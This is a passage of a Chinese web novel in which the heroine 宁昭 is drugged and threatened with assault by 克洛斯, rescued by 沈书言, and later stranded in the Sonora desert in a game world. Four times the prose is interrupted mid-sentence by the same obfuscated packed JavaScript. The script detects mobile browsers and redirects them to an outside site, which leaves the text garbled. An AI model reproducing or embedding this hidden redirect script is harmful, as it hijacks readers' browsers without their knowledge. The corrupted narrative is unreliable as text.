只不过在结账时，排队的人略微有些多，宁昭嫌队伍长，便一个人去超市门口等。 不知为何，一靠近门口，那股不安的感觉就再次涌上心头。她朝后看了看，发现沈书言就在不远处，心稍稍放下，又往里站了站。 就在这时，一个女人拎着好几个购物袋从人群中挤出来，微胖的身体晃晃悠悠，好像下一秒就要站不稳摔倒，边走边朝宁昭说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445632|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“姑娘啊，麻烦让一下。” 见自己挡了人家的路，宁昭赶忙侧开身。但女人手中东西的体积实在太大，就算她已经让出路，却还是不可避免地被撞了一下。 腰不小心磕碰到门把手，尖锐的疼痛感随即传来，宁昭皱眉揉了揉后腰，往人群更远处走了些。 好不容易找到一处人不多的地方，宁昭在原地站定，转头再往沈书言的方向看去，却发现他已经不在那里了。 不仅仅是沈书言，连时也和萧朔也没有了踪迹。 她立马四处逡巡找他们的踪迹，然而无果。不管她怎么找，视线里都没了他们的身影。 意识到他们走散了，宁昭拿出手机，试图利用手机上新解锁的队内联系功能给他们打电话。 但是，当手机屏幕也按不开时，她的心里这时才滋生出一股压抑在心头许久的恐惧。 就是这时，她感觉头变得有些昏沉，鼻尖也涌入浓郁的男士古龙水的香味。 意识到情况不对，宁昭立刻开始翻背包找道具，但是药效太猛，还未等她有所动作，她就已经眼前一黑，不省人事地晕了过去。 50. 虚妄之都 克洛斯的声音轻挑肆意，听得宁昭心中警铃大作：“你想干什么？” “我能干什么。” 轻蔑的笑声在耳边响起，克洛斯捏着宁昭下巴的手终于松开：“不过是做一个正常男人会对美丽女人做的事而已。” 这落在宁昭的耳朵里已经是鬼故事了。 “我不可能配合的。” 面对如此野蛮的男人，宁昭气得头脑发晕，一时有些乱了阵脚。 她现在就像砧板上的鱼，没有任何反抗的机会。但她的大脑仍在疯狂转动，想着或许能让她找到破局的方法。 可惜这不是现实世界，也不是游戏副本。这里没有法律也没有游戏规则，只有一个只手遮天横行霸道的男人，如果他真想强来，她毫无办法。 “别自己跟自己过不去，不配合我对你有什么好处？” 听到宁昭倔强坚定的话，克洛斯不免觉得发笑。他松开宁昭，顺手从床头柜上顺了根烟，熟练地点燃：“你来这里之前，是个女明星？” 他叼着烟从床上起身，顺手抽开黑金色浴袍的腰带，露出他健硕的胸肌：“确实很漂亮。但是宁昭，不管你再怎么努力，在别人眼里都只不过是一个戏子。” 他居高临下地看着她，不遗余力地侮辱着她的职业与尊严：“和我在一起有什么不好？沈书言的时代已经过去了，现在他什么都不是，这里的一切都是我的。跟了我，你不仅能永生，还能得到别人梦寐以求的所有东西，只有傻子才会拎不清其中的利害关系。” “所以你认为我努力工作获得的成就到最后仍然会被人看不起，反而是当一只依附于你金丝雀才能让我找到人生的意义？” 其实克洛斯这些话宁昭之前听过很多，并不能真正刺痛到她。 她只是觉得荒谬，觉得这个男人可怜又愚蠢，怎么能这样轻易就用他那短浅的目光规划好她的人生。 “是不是还觉得自己挺有骨气的？” 克洛斯怜爱地摸了摸她的脸颊，被她厌恶地躲开。他不甚在意地轻笑：“希望你待会在我床上也能这么有骨气，一声都别吭。” “……” 宁昭有些后悔激怒了他，但是她实在忍不住，一听到他说话她下意识就想怼。 “沈书言炸了我一条船，让我损失了上百亿的生意。” 想到这里，克洛斯眸中划过冷意：“那我就睡他的女人。” “我就是我，不属于任何人，你别混淆概念。” 宁昭不动声色在房间里巡视了一圈，但并没发现地图的影子。 “少在我面前耍那些小心机，这里没有地图，你跑不掉的。” 她的这些小伎俩，落在克洛斯眼里就好像是一只在做困兽之斗的小猫，聪明，但不多。 他咬着烟，心情愉悦地看着她：“别急，我事前喜欢来根烟。” “……” 完蛋了。 【宁昭】：队友哥，你能来救我吗，你再不来我可能就要英勇就义了。 眼见着克洛斯的烟要抽完了，宁昭死马当活马医，也没别的办法，只能在聊天室里无助地呼唤沈书言。 她当然不会任由克洛斯对她强来，也不可能真的就去寻死。如果事情没有转机，她在认真考虑把他踹废的可能，只不过这样做风险太大，有些费命。 但现在看来，也没有别的解决方法了。 【沈书言】：别怕。如果可以的话，你先躺下，免得待会误伤你。 正当宁昭焦虑之时，脑海里忽然传来沈书言的声音，吓得她一个激灵，下意识绷紧了身体。 他来救她了！ 抱着对沈书言的绝对信任，宁昭再次发挥随时随地大小演的被动技能，作出一副耻辱的表情躺到床上，一脸愤恨地看着克洛斯：“你就算得到我的人也得不到我的心！” “……” 一阵无语。 就在宁昭寻思着是不是用力过猛的时候，门外忽然传来惊天巨响。就是这刹那，克洛斯眉头一敛，飞速闪身，在他离开后，他身后的墙壁猝然碎裂，被炸得惨不忍睹。 一切都发生得太快，快到宁昭已经被沈书言抱进怀里，她都没有反应过来自己已经获救了。 “来得倒挺快。” 看到沈书言，克洛斯只是略微有一点意外，看起来并不吃惊：“怎么进来的？” “克洛斯，你现在做的这些，可不是君子所为啊。” 这时，身后传来似笑非笑的调侃声，宁昭勾着沈书言的脖子往后看，发现跟着沈书言一起来的人是时也。 “你们两个什么时候又混到一起去了。” 克洛斯嗤笑一声：“别告诉我你也看上她了。” 时也没有讲话。 没管这两人，沈书言自顾自将怀中的宁昭放下，安抚似地摸摸她的头：“抱歉啊，我来得有些晚了，你先回去，我来和他算账。” 接着，他不由分说地往她手里塞了一张地图，还没等她讲话，面前就已经闪起白光。 地图将她强制送回了沈书言的主神空间。 “姐，你终于回来了！” 瞬间移动来得太快，宁昭掉在沙发上时觉得头晕沉沉的，耳边传来的声音也没有了实感。 直到看清萧朔那张在她面前略有些放大的脸，她这才回神：“你你你……” 见她的目光不再涣散，萧朔终于松了口气：“姐，你刚去哪里了？一转眼就消失了，可把我担心坏了！” “我没事了。” 看到熟悉的别墅，宁昭松口气：“刚才是我大意了。” 如果她的警惕心能再强一点，就不会让自己落入道具都翻不出来的境地。 沈书言和时也还在克洛斯那里，他们没有她这样方便的技能，两个人深入虎穴，不知道能不能平安回来。 但担心归担心，克洛斯跟她说过的话也像个钉子一样扎进了她的心里。 她并不介怀沈书言的过去。那些画面是真是假仍未可知，但就算是真的，只要他没坏到她头上，她都不会站在道德制高点去审判他。 更何况，她原本就带了私心。 只不过，让她心中酸涩的是，沈书言好像从来都没有试图向她坦白过这些。 她又想到之前她对他进行的种种暗示，他总是一副看起来很直男不懂怎么接招的模样。 此刻，她甚至怀疑那其实也是他的伪装。 “没事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482354|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来就好。” 见宁昭的状态不太好，萧朔关切地安慰：“你放心，时也很厉害的，我能活到现在多亏了他。” 想到刚才的场面，宁昭忽然意识到时也和克洛斯说话的语气十分熟稔，看着像是旧相识。 于是，她终于问出一直按捺在心底的疑问：“时也究竟是什么来头？” “不知道，我是在一次副本里认识他的。” 萧朔摇了摇头：“那时他受了点伤，我看不下去就救了，然后我们组队，我才发现他原来是个隐藏大佬。” ……这剧情咋跟她和沈书言这么像。 不过她是被救的那个。 “算了，我不想了。” 宁昭摇摇头：“我等他回来。” “好。那姐你先吃饭吧。” 看了看时间，已经不早了，萧朔不由得提醒了一句：“我刚刚已经把饭做好了，你千万别饿着。” “谢谢你了。” 她朝他露出一抹微笑，心底不免觉得柔软。 虽说他是她的粉丝，但他同时也是参加这个游戏的玩家。大家都是命悬一线刀尖舔血的人，他却仍愿意为她做这些事，说不感动当然是假的。 辛辛苦苦做好的一桌饭菜，不吃难免会伤他的心。所以，就算宁昭被刚才的事情搞的没什么胃口，她也还是坐到了饭桌边，和萧朔一起吃饭。 结果第一口就被惊艳。 她惊喜地看向他：“你这么会做饭啊？” 她已经记不清自己有多久没吃过这样色香味俱全的家常菜了。甚至，萧朔的菜让她想到了她妈妈，这让她一时间有些百感交集。 “包的。” 被女神夸了，萧朔脸上得意的表情藏不住，嘴角比ak还难压：“我学历不高，学的专业又很冷门，大学毕业后找不到工作，就去进修了一下，给一家餐厅当厨师。” 提到自己的职业，萧朔有些不好意思地抓了抓头发：“虽然赚得不多，但勉强能养得起我和妹妹。” 提到妹妹，他像是想到什么，眸色暗了暗，脸上肉眼可见地出现了几分担忧。 “不用太担心。虚妄之都里的时间流速和现实世界是不一样的。” 看出他的顾虑，宁昭出声道：“虽然这只是我推测的，但应该还算靠谱。” “这是怎么推测出来的？” 萧朔有些愣神。 “头发啊。” 她摸了摸自己的一头金发：“进入这个游戏已经将近一个月了，但是我的头发还没有长出来。” 按理说，在染了浅色头发后，她的发根会很快长出黑色的头发，导致整体看起来不美观，所以时常需要去补颜色。 但是这么久过去了，宁昭的金发看起来仍像是刚染的一样，由此她才会得出这样的结论。 “所以，先不用担心。” 她宽慰着：“也许现实世界只过去了几天，你的妹妹不会出事的。你现在要做的就是努力做任务，早日脱离这个地方。” 她也为了这个目标一直努力着。 见萧朔的表情还是很凝重，宁昭心下一动，去茶几拿了一张纸和一支笔。 “萧朔，我们要不要做个约定？” 51. 虚妄之都 “什么约定？” 他不明所以地看着宁昭的动作。 宁昭低头在纸上写下她的姓名、电话号码，还有一串地址。做完这些，她将纸条递给萧朔：“这是我的联系方式，还有我工作室的地址。” “姐。” 接过纸条，看清上面清隽的字，萧朔瞳孔地震：“你这是？” “如果我们都能活着回去，你就到这个地方找我。” 没吃饱，她又给自己盛了一碗鸡汤：“我还缺个营养搭配师，你有意向跳槽吗？” 萧朔花了三分钟的时间去消化这句话，直到宁昭第二碗汤都见底了，他才磕磕绊绊地出声：“我、我学过，我一定能胜任！” “嗯，吃饱了。” 宁昭拍拍他的肩：“先别高兴得太早，活着回去再说。辛苦你刷一下碗，明天的午饭我来做，我先回房了。” 捏着手中的字条，萧朔心底暗自燃起了斗志。 房间里，宁昭在床上翻来覆去打滚，实在放不下心，便又开启了聊天室。 但是，这次不管她怎么叫，沈书言都没有声音。 熟悉的天花板原本是可以安抚人内心的遮蔽，但她望着上空，却始终无法平静。 虽然相信沈书言的实力，但她也害怕会出现什么意外。 困意袭来。从副本回来后经历了这么一遭，她已经精疲力尽，所以还未等到沈书言回来，她就已经沉沉进入了梦乡。 再次醒来是在半夜。宁昭不记得她睡了有多久，只记得一睁开眼睛就看到一个人坐在床边，吓了她一跳。 “你——” 清白恬淡的月光透过窗户打进房间，照亮沈书言的身影。看到他，宁昭吊着的心终于放下。 她起身：“你没事吧？你是什么时候回来的？那个神经病没伤害你吧？” 一连串的疑问就这么不假思索地脱口而出，她握住他的肩想看看他是否受伤，却被他按住手：“我没事。” 心稍稍放下，却仍觉得不安。宁昭看向他，昏黄的床头灯把他的脸颊映照得更加柔和，那双倏黑的眸子里是她熟悉的静默与温驯，她却觉得她从未真正看懂过他。 “回来有一阵子了，他没有伤害我。” 沈书言将她的手放下，一一回答她刚才的问题。 大概是读懂了她眼中的晦涩，他看着她：“为什么会这样看我？” “……” 明明有很多话想问，宁昭却不知道从哪里说起，于是两人就这样相顾无言，对视了许久。 “宁昭，你看到的那些，都是真的。” 最终，还是沈书言打破了僵局：“我不会为自己辩解什么，那些确实都是我做过的事。” 宁昭点点头：“我知道。” “起因是我，克洛斯也是冲着我来的，所以。” 说到这里，沈书言像做了什么决定：“我会和你们解除队友关系。” ？ 没想到他会突然说这样的话，宁昭瞪大了眼睛，不知道该怎么回应。 而沈书言也没给她回应的机会，自顾自说下去：“游戏规则在虚妄之都创造之初就已经定下，任何人都不能擅自更改，所以，你必须完成你的主线任务才能彻底脱离，我没办法送你走。” “我离开后，虽然队伍积分会变少，但游戏难度也会大幅降低，不会再有危及生命的副本。你很聪明，没有我，你也一定能靠自己离开。” 沈书言起身：“抱歉，让你跟着我受了那么多的罪。” 队友哥这是在？ 他压根没给宁昭见缝插针的机会，说完这些话后就起身离开，就好像他是来通知她的，而不是来征求她的意见。 “你干嘛啊？” 见他真想走，宁昭赶紧拉住他：“一个人叽里咕噜说这么多，谁同意了？” 怕他真跑了，宁昭二话不说从身后抱住他腰：“我又不怕那些，你道什么歉？” 感觉到腰上环绕着的双手，沈书言身形一僵：“这对你来说是离开虚妄之都最快的方法。” “你就这么急着离开我吗？” 明明知道沈书言不是这个意思，但宁昭偏要这样问。 “我不是这个意思。” 沈书言本想拿开他腰间的手，但想了想，最终还是没有动作：“你应该回到你原本的世界。” 她当然想回去，也知道沈书言说的的确是目前为止最好的解决方式，但她不愿意和他分开。 “你就是想离开我。” 不知从哪儿来一股气，宁昭想都没想就脱口而出，直到话音落下，她这才后知后觉，自己好像在和沈书言撒娇。 说撒娇也不对，准确来说，比较像在无理取闹。 理智告诉她不应该这样，但内心汹涌的感情暂时压过理性更胜一筹。她心下一动，鼻子发酸：“我进游戏第一个见到的人就是你，现在你想甩了我，也太不负责任了。” 这语气，就像在控诉一个始乱终弃的渣男。 她承认有演的成分，但她是真的不想他离开。 果然，沈书言很吃她这一套。他轻轻拨开她的手，转身在她床边坐下，看着那双在昏暗中依旧灵动的眼睛，语气十分认真：“你不是很讨厌我这样的人吗？” 想到克洛斯为她布下幻觉，让她看到了那样肮脏血腥的画面，他心中就越发忐忑不安。 “克洛斯给你下毒了，能让你问出这种话？” 她不敢相信面前这个忠犬一样的男人和刚才她看到的狂妄不羁黑老大是同一个人：“我对你是什么感情，你不知道吗？” 事到如今，他们俩面前那层窗户纸也约等于无了。 “什么感情？” 不知道是不是故意的，沈书言偏要问到底。 而宁昭却再也经受不住这样的折磨，心痒得厉害，想都没想就再次亲了上去。 这次他没有发愣，而是自然地回抱住她的腰，像是早就知道她会这么做，甚至开始反客为主，回应她的吻。 宁昭不拧巴，喜欢就是喜欢，不想分开就是不想分开。她活在当下，做什么都不后悔。 所以，到后面又是她主动，把他按到了床上。 * “姐，你昨天晚上没睡好吗？” 萧朔殷切切把一碗燕窝粥端到宁昭面前，看她眼底的青黑，不免觉得担心： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533712|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都有黑眼圈了。” 宁昭特别白，所以脸上稍微有点小瑕疵都能看得一清二楚。她没化妆，昨天还白皙的下眼周此刻多了一圈青黑，想让人不注意都难。 “我睡得挺好的呀。” 心理素质太强，宁昭跟没事人一样：“我比较关心的是，你到底是怎么从一堆压缩食品中找到燕窝粥的？” 这待遇有点忒好了吧。 她巧妙地引开话题，萧朔便不再多问：“我有我的方法，你快看看好不好吃。” 他的厨艺没的说，当然是好吃，连一直自诩厨艺过人的宁昭都觉得自愧不如。 不过多时，时也从楼上下来，看到宁昭的模样，他也有些意外：“你没睡好吗？怎么黑眼圈这么重。” ……没完了是吧。 “嗯呢，担心你担心的，一夜没睡得着觉。” 懒得再解释第二次，宁昭张嘴就来。 “我的荣幸。” “时也，你太自恋了。” 听到他们的对话，萧朔不禁吐槽：“她想的应该是沈书言吧！” 虽然时也还是一副笑眯眯的模样，但宁昭总感觉他的头顶出现了漫画里才有的代表着愤怒的符号。 “萧朔，我好歹也救过你的命，和我说话何必这么不留情面。” 时也的语调轻飘飘的，但言语间已经暗含警告。 “你别为难我，你是我救命恩人，我姐也是，好不容易绑上队友，我得对她好一点。” 宁昭笑眯眯地看着时也，表情好像在说“不好意思”。 沈书言一下楼看到的便是这样的场景。 面对宁昭，他的神态有点不自然，这细微的细节落在时也眼中，不由得让他对沈书言投去意味深长的一瞥。 “沈书言，你怎么也……” 好像突然意识到了什么，话才说到一半，萧朔就闭嘴了。 “有这个功夫观察人类，不如想想兑点什么技能，下一个副本怎么过。” 为防止萧朔再蹦出些什么语不惊人死不休的话来，宁昭抡起旁边的一沓纸就想去敲他的头。 谁知，面前突然亮起白光，顷刻间便是天旋地转。 “宁昭——” 还未等她反应过来，她就已经掉到了一片沙漠中，热气顿时包裹住她，恍惚间让她以为自己是掉进了哪个蒸笼里，身上立马渗透出细密的汗珠。 地上的沙子烫得惊人，宁昭身上就穿了条睡裙，裸露的小腿碰到炙热的细沙，她下意识从地上跳起来，伸手去遮挡炎炎的烈日。 面前是一望无际的沙漠，四周热浪滚滚，远处就是天际线，目光所到之处没有任何可以遮挡的地方，毒辣的阳光就这么直射到了宁昭的皮肤上。 这让她都来不及去思考自己为什么会出现在这个地方，只想立马找个洞钻进去，以免被晒黑了。 【恭喜玩家解锁新地图：索诺拉沙漠。您已激活支线任务《沙漠生存指南》。】 【在此支线中，您需要通过自己的努力生存下来。游戏并不强制您通关，所以您并不会真正死亡。系统会在检测到您处于“垂死之际”时，自动将您送回主神空间，结算奖励。】 52. 沙漠生存指南 好消息，她不会真死。 坏消息，她会真的生不如死。 但她为什么会被送到这片沙漠？ 她忽然意识到，刚才她试图用来敲萧朔头的纸，貌似是一张卷起来的世界地图。 所以在摸到地图的瞬间，她的技能就已经发动，把她送到了手指最开始触碰的地方。 非常倒霉，她来到的是美国与墨西哥的交界处，一片隶属于北美洲的索诺拉沙漠。 这个地方虽然没有撒哈拉沙漠有名，但也是占地面积高达30万平方公里的大沙漠。宁昭两手空空掉进这里，她想不出除了等死还会有什么样的结局。 当然，如果她能再找到一张世界地图，就可以回去。 但她看了眼一望无际的沙漠，觉得还是自杀被系统主动送回去的概率会更大一点。 沙子黏在身上很不好受，脚上穿了双拖鞋也没办法走路。无奈，宁昭只能先在原地把身上的细沙都拍下去，然后才忍着硌人的颗粒感一步一步往前走。 冷不丁被送过来，她连手机都没有来得及带，身上能用的只有游戏背包里现有的道具。 而背包里囤的都是些在之前副本里会用到的城市地图，偏偏平时用不到、现在最需要的世界地图，她一张都没准备。 好在宁昭对这片沙漠并不陌生。 当年和裴庭煜谈恋爱的时候，他们总喜欢窝在一起看电影。在他们观看过的众多影片中，有一部科幻电影曾在这片沙漠取景，让宁昭印象深刻。 因为景色太美，她产生了浓厚的兴趣，于是又去看了和它有关的纪录片。 所以她知道，索诺拉沙漠与寻常沙漠不同。由于接近太平洋与加利福尼亚海湾，它拥有正常的雨季，于是在每年降水量正常的情况下，沙漠被灌溉出不少肥沃的土壤，生态较之普通沙漠来说，也丰富许多。 入目除了漫天的黄沙外，还有野蛮生长的杂草、高大挺拔的巨人柱，以及时不时在草丛里窜来窜去的不知名动物。 这片沙漠里是有居民的，甚至人口规模还不小。如果她运气好，能歪打正着遇到当地的居民，说不定就可以找到世界地图回家。 所以她没有灰心，开始往前走，至于方向对不对，全看命。 她只能一直走，要么走到发现人类，要么走到半死不活被系统自动送回家。 但她体质太差，走了一会之后就累得虚脱。明明没走多远，但她的脚下就像是灌了铅，每抬起一步都要十分坚强的意志力。 身上已经渗透出一层细密的汗珠，薄薄的睡裙也被打湿，她热得两眼昏花，连眼前都出现重影。 就在这时，她好像看到面前出现了一只通体雪白的动物。 那是狐狸吗？是沈书言吗？ 她揉了揉眼睛，结果那白色又消失了。 虽然心里一直惦念着沈书言，但宁昭很清醒。她知道是自己不小心误触了技能，就算沈书言想来救她，也不可能在这么短的时间内找到她，所以刚刚一定是她看错了。 只是连她自己都没发觉，原来他已经在她的心里占据了那样重的地位。 人的极限都是被逼出来的。 就比如此刻，宁昭每每觉得她要在下一秒倒下了，却又硬咬着牙坚持，直到一个半小时后她才彻底坚持不住，跪倒在了地上。 而这时太阳已经渐渐落山，温度迅速低了下来，天空还漂浮过来些许黑压压的乌云，好像就要下雨了。 她穿得少，能抗过下午的烈日，却很难抵抗沙漠夜间骤降的温度与雨水的寒冷。 哪怕是在现实世界里当演员拍一些高难度的戏，宁昭的身体都没有受过这么高强度的折磨，折磨到她觉得自己已经奄奄一息，再也没有走路的力气。 迷迷糊糊间，她又看到了那抹白色的身影。 这次她看清楚了，那确实是一只狐狸。只是它一直站在不远处看她，那双金色的瞳孔中是极致的冷漠，像是在冷眼旁观她的痛苦，没有半点想帮助她的意思。 那只是一只普通的狐狸，不是沈书言。 这时，旁边传来窸窸窣窣的声音。宁昭寻着声音看去，发现在不远处草丛里乱窜的赫然是一只体型不算小的鬣蜥。 它通体绿色，身上长着狰狞的小刺，此刻正睁着眼睛，滴溜溜地朝宁昭所在的方向看去。 就是这一眼，吓得宁昭心都要跳出来。 她这个人不信神、不怕鬼，唯独怕各种各样的虫子和野生动物。 肾上腺素即刻飙升，宁昭清醒过来，双手撑地强迫自己站起来，想也没想就朝着远离杂草堆的地方跑去。 突如其来的奔跑让她刚停歇下来的身体再次绷紧，小腹猛地传来坠着石块般的剧烈痛感，这是她每次跑步过度后都会有的症状。 一步都走不动了，死就死吧。 晕倒前，宁昭的脑海里只剩下了这样的想法。 …… ——“宁昭，你太自私了，像你这样的女人，永远不会有人全心全意去爱你！” 刻薄讥诮的男声如平地惊雷般回荡在宁昭的耳边。 她睁开眼，看到裴庭煜那张满脸怒容的俊脸，一时间有些恍惚。 自己这是在什么地方？ 熟悉的场景与陈设出现在她的面前。 四周的墙壁上挂着五彩斑斓的朋克风海报，沙发上也堆着不少小型乐器。 清淡的柠檬香气在空气中散开，熟悉的气味迅速将宁昭的思绪拉回了现实。 她现在在裴庭煜大学时期的家里。 “怎么不说话？刚刚不是还骂得很凶吗？” 见宁昭神色变得平淡，裴庭煜意识到自己刚才说的话有些过分，开始给自己找补：“其实如果你能改改你的性格，我们也不会走到今天这个局面。” 此情此景似曾相识，如电影般在宁昭的脑海中一帧帧放映。 这是多久之前发生的事？好像是她大三的时候。 那时的宁昭已经准备出道了，得知这个消息的裴庭煜一直摆着个死人脸，试图通过冷暴力来逼迫宁昭不要进入演艺圈。 但宁昭不是那么好拿捏的女人，她没惯着她，不仅不退让，还和他爆发了一场很激烈的争吵。 她现在就回到了那个时刻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573178|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概又是在幻境里吧。这次宁昭并不意外。 “我自私？” 因为心境早就不同，所以宁昭在面对裴庭煜时丝毫没有当初的愤怒，反而淡定得可怕。 不知道是不是被宁昭平淡麻木的表情刺痛了，裴庭煜刚压下去的火又冒了上来：“你永远心安理得地接受着别人对你的好，觉得自己得到什么都是应该的，这样的你不自私吗？你有考虑过我的感受吗？” 面对裴庭煜的控诉，她不由得扯了扯嘴角：“就算我真的自私，那又如何呢？我没了你的爱就不能活了吗？” 如果放在以前，宁昭大概率会为自己辩解，但现在她不会。 裴庭煜没想到前一秒还在和他撕心裂肺争吵的宁昭会在短短几秒内切换成现在的状态，他觉得有些不可思议：“你到底什么意思？” “裴庭煜，我对我做过的所有决定都不后悔。” 冷淡的话语再次响起，宁昭叹了口气，声音有些无奈：“不过，对于你，我唯一后悔的就是，没能和你分得更早一点。” 打着爱的名义捆绑她，结果又倒打一耙说她自私。宁昭再去复盘这段感情，这才意识到她和裴庭煜两个人之间的性格究竟是有多不合适。 面前的景象在她说完这句话后霎时变得扭曲，随后便像梦中的场景般烟消云散。 身体突然传来坠落的感觉，宁昭身体猛地一震，再次睁开眼，冰凉的雨滴落在脸颊上，天空已经变得黑压压一片，她躺在沙子上，四周的温度也已经降低了许多。 原来刚才不是幻境，是做梦。 宁昭起身，又看到了那只一直在她身边的白色狐狸。 “沈书言。” 知道这不是他，但她还是叫出了声。 没想到，那只狐狸在听到她的声音后，不仅没有过来，反而直接转身离开了。 心逐渐落空，宁昭深吸一口气，抹去脸上的雨滴，继续往前走。 没了直射的烈日，宁昭觉得稍微好受了些。但是好景不长，天实在是太冷了，冷得她要双手环胸抱着手臂往前走，这样才能遮挡些许扑面而来的冷风。 雨势逐渐变大，雨水落在她的肌肤上，冻得她浑身发颤，也让她生平第一次如此直观地感受到沙漠阴晴不定的天气与天差地别的温差。 希望的火苗逐渐熄灭，宁昭心中的焦虑越发严重。 等到雨势大起来，就算这片沙漠里有居住的居民，也不会再碰到人了。 然而，天无绝人之路。 远处忽然亮起一束刺眼的灯光，照射在阴沉的天地间，显得尤为刺眼。 那是一辆吉普车。 接收到这个讯号，宁昭立马来了精神，几乎是蹦跳起身朝着车子的方向跑，同时还不停挥手示意，试图引起司机的注意。 终于，走到一半的车辆发现了她，立马转弯朝着她的方向驶来。宁昭下意识松了口气，心头涌上劫后余生的喜悦。 然而，当宁昭看清驾驶座上的男人时，她脸上的笑容顿时僵住。 车窗摇开，克洛斯带着一脸明媚的笑：“美丽的小姐，你是遇到什么困难了吗？” 53. 沙漠生存指南 宁昭扭头就走。 “哎，你怎么走了，不是要我帮忙吗？” 见她头也不回，克洛斯忙把车开到她身边，顺着她的方向慢悠悠地往前开：“你怎么会一个人出现在这种地方？你是怎么来的？” “……” 宁昭倒也想问问，为什么她都在这种地方了，却还是甩不掉阴魂不散的克洛斯。 “雨越来越大了，你穿这么少，到夜里会冻死的。” 虽然没得到宁昭的回应，但克洛斯还是好心地提醒她：“我没有恶意，不会伤害你。” 听到这里，宁昭心下生出些许疑虑。 怎么感觉他有点奇怪？他从来都懒得说这些废话的。 抱着怀疑的态度转头看了一眼，宁昭这才发现，面前的克洛斯和她昨天看到的有些不太一样。 帅倒是依旧很帅，但却显得稚嫩许多，像是年轻了好几岁，看起来朝气又蓬勃。 最重要的是，他的脸上并没有敌意。 那双碧蓝色的双眸中没有以往看人时总会自然流露出来的鄙夷与不屑，是一双看起来很和善的眼睛。 “那你呢，你怎么会在这里？” 意识到事情有些不太对劲，宁昭收敛了情绪，状似无意地问了一句。 “你认识我？” 她说话的语气就好像他们曾经认识一样，这让克洛斯感觉奇怪。 宁昭停下脚步，克洛斯也顺势踩了刹车。 非常仔细地观察了克洛斯的神情，确定他没在演戏后，宁昭略微放下心：“你以前见过我吗？” 端详着宁昭略显狼狈却依旧美得惊人的脸，克洛斯立马摇头：“没有。如果我以前遇到过你这样的美人，一定会有印象的。” “……” 确认完毕，这个人确实是克洛斯。 但又不是她认识的那个克洛斯。 虽然不知道到底发生了什么，但现在的他看起来挺安全，或许值得信任一下。 上了克洛斯的车，宁昭系好安全带：“谢谢你帮我。” 既然克洛斯不认识她，那她也当他是陌生人来相处，她不想打草惊蛇。 “顺手的事，不必谢。” 将车内的温度调高了点，克洛斯转动方向盘掉头：“幸亏你挥手了，不然我都看不到你。要是一个人在沙漠里过夜，能不能撑到明早都不好说。” 从来没听克洛斯一次性说这么多友好的话，这让宁昭感觉到惊奇。 她看着前方的景色，想了想，开口道：“你会说中文，但看起来却像是外国人。” “出门在外，总得掌握些技能。” 克洛斯并没有透露太多，只是笑笑：“我叫克洛斯，你呢？” “我叫宁昭。” 两个算是仇人的人，竟然有一天能心平气和地坐在一起自我介绍，宁昭越想越感觉诡异。 这克洛斯不会是游戏里定点刷新的npc吧？会出现在她的各个副本里，每一次都是不同的身份。 宁昭的脑海思绪万千，车内也因此陷入了长久的寂静。直到外面的雨越下越大，天色完全黑下来，啪嗒落在车窗上的雨点声与雨刮器拨动的声音才打破了氛围。 “需要我收留你一晚吗？” 克洛斯冷不丁开口。 不知道是不是被之前的克洛斯吓得有些ptsd的缘故，宁昭一听到他嘴里冒出类似“睡觉”“过夜”“晚上”之类的词，就会莫名其妙感觉毛骨悚然。 她下意识想拒绝，却在话到嘴边时堪堪收住，极速转了个弯：“我不……不会太麻烦你吧。” 命和骨气，还是前者更要紧一些。虽然心里想着大不了就是死，但真要宁昭去死，她还真不太敢。 “不会。” 似是感觉到她的纠结，克洛斯不明所以地轻笑了一声，没有再多说什么。 漆黑的沙漠夜色让人感觉害怕。四周是一望无际的黑暗，只有车辆行驶的方向打着一束显眼的远光灯，照亮着没有边际的黄沙。 大概是怕宁昭无聊，克洛斯顺手打开了车载音乐。西班牙歌谣缓缓吟唱，柔和的曲调稍微抚平了她躁动的心。 车辆时不时因为地面的沙石而颠簸，宁昭被颠得有些头晕，再加上今天的运动量太大，到后面，她实在没顶住，眼皮越来越重。 在音乐的催眠下，她再次睡了过去。 